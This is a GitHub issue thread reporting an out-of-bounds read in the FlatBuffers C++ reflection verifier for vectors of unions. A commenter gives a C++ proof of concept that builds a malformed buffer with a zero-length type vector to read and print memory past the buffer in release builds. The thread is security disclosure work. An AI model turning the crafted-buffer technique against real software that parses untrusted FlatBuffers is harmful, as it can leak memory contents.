google
[C++] Vector of unions verifier does not check type vector length
The length of the type vector is not checked when verifying a vector of unions. Instead, the code assumes that it is as long as the value vector:
https://github.com/google/flatbuffers/blob/bd1b2d0bafb8be6059a29487db9e5ace5c32914d/src/reflection.cpp#L152-L160
If the code is not compiled with NDEBUG, the out-of-bounds access will be caught by the assert in Get(). However, this is a potential security problem for release builds operating on untrusted flatbuffers.
Heyoo,
I have invested some time in experimenting with your issue and I wanted to share a practical example.
When the type_vec is serialized to the end of the FlatBuffer and it's in-buffer-length field is set to 0, the verifier in L154 won't return with an error. Afterwards, because the length is not checked anymore, the type_vec->Get(j) in L157 would indeed read out-of-bounds memory past the end of the buffer when NDEBUG is used. The out-of-bounds values are then locally available in utype. With VerifyUnion() in L159, the function returns with false when utype contains a value that exceeds the enum size of union types from the reflection schema.
About how much of a threat this is, somebody else has to consider.
Attached there is a modified demo code on what such an untrusted, bad FlatBuffer could look like.
Cheers kendegemaro
#define NDEBUG
#include "flatbuffers/flatbuffers.h"
#include "flatbuffers/reflection.h"
#include "flatbuffers/util.h"
#include "Schema_generated.h"
#include <string>
#include <fstream>
#include <iostream>
bool VerifyVectorX(flatbuffers::Verifier &v,
const reflection::Schema &schema,
const flatbuffers::Table &table,
const reflection::Field &vec_field);
int main()
{
// Don't go too high up.
const uint32_t numberOfOutOfBoundsBytesRead = 128;
const uint32_t staticBufferSize = 0x20;
const uint32_t bufferSize = staticBufferSize + numberOfOutOfBoundsBytesRead * 4;
uint8_t* badFlatbuffer = new uint8_t[bufferSize]
{
0x0C, 0x00, 0x00, 0x00, // root table offset
// vTable
0x08, 0x00, // vtable size
0x0C, 0x00, // table size
0x04, 0x00, // relPos to union type vector
0x08, 0x00, // relPos to union vector
// Root table
0x08, 0x00, 0x00, 0x00, // relPos to vTable
0x00, 0x00, 0x00, 0x00, // offset to unionType vector, set below
0x04, 0x00, 0x00, 0x00, // offset to union vector
// Vector data
// ... generated below
};
uint32_t* badFlatbuffer32 = reinterpret_cast<uint32_t*>(badFlatbuffer);
// Generate the rest of the bad flatbuffer
// Offset to unionType vector
badFlatbuffer32[4] = numberOfOutOfBoundsBytesRead * 4 + 12;
// element count of union vector
badFlatbuffer32[6] = numberOfOutOfBoundsBytesRead;
for (uint32_t i = 0; i < numberOfOutOfBoundsBytesRead; i++)
{
// Fill the union vector with zero-offsets
badFlatbuffer32[7 + i] = 0;
}
// Element count of unionType vector is 0, so the verifier does not return with error
badFlatbuffer32[7 + numberOfOutOfBoundsBytesRead] = 0;
// Test case
std::ifstream t(".\\Schema.bfbs");
std::stringstream schemaBuffer;
schemaBuffer << t.rdbuf();
const reflection::Schema& reflectionSchema = *reflection::GetSchema(schemaBuffer.str().c_str());
const reflection::Object* schemaObject = reflectionSchema.objects()->Get(3); // Your table, that contains the vector of unions
const reflection::Field* schemaVectorField = schemaObject->fields()->Get(0); // Your union vector field
flatbuffers::Verifier v(badFlatbuffer, bufferSize);
auto badTable = flatbuffers::GetRoot<flatbuffers::Table>(badFlatbuffer);
std::cout << "Testing with verifier ..." << std::endl;
bool result = VerifyVectorX(v, reflectionSchema, *badTable, *schemaVectorField);
return 0;
}
bool VerifyVectorX(flatbuffers::Verifier &v,
const reflection::Schema &schema,
const flatbuffers::Table &table,
const reflection::Field &vec_field)
{
FLATBUFFERS_ASSERT(vec_field.type()->base_type() == reflection::Vector);
if (!table.VerifyField<flatbuffers::uoffset_t>(v, vec_field.offset(), sizeof(flatbuffers::uoffset_t)))
return false;
switch (vec_field.type()->element()) {
case reflection::Union: {
auto vec = flatbuffers::GetFieldV<flatbuffers::Offset<uint8_t>>(
table, vec_field);
if (!v.VerifyVector(vec)) return false;
if (!vec) return true;
auto type_vec = table.GetPointer<flatbuffers::Vector<uint8_t> *>(vec_field.offset() -
sizeof(flatbuffers::voffset_t));
if (!v.VerifyVector(type_vec))
{
std::cout << " Verifier prevented out of bounds memory access!" << std::endl;
return false;
}
for (flatbuffers::uoffset_t j = 0; j < vec->size(); j++) {
// get union type from the prev field
auto utype = type_vec->Get(j);
auto elem = vec->Get(j);
std::cout
<< " Out of bounds memory value accessed: 0x"
<< std::hex
<< std::uppercase
<< std::setw(2)
<< std::setfill('0')
<< (uint16_t)utype
<< std::dec
<< " (" << utype << ")"
<< std::endl;
// Usually the VerifyUnion() would force the function to quit here, when utype exceeds the size of
// the union type enum from the reflection schema.
}
}
}
return true;
}
The specific concern isn't that about type_vec or vec being individually invalid, but that if vec->size() > type_vec->size(), then the type_vec->Get() call will eventually be passed type_vec->size(), which is out of bounds for the vector.
FLATBUFFERS_ASSERT defaults to the standard assert() macro:
https://github.com/google/flatbuffers/blob/067bfdbde9b10c1beb5d6b02d67ae9db8b96f736/include/flatbuffers/base.h#L19-L25
So if NDEBUG is defined, the index passed to Get() is not checked:
https://github.com/google/flatbuffers/blob/067bfdbde9b10c1beb5d6b02d67ae9db8b96f736/include/flatbuffers/vector.h#L192-L195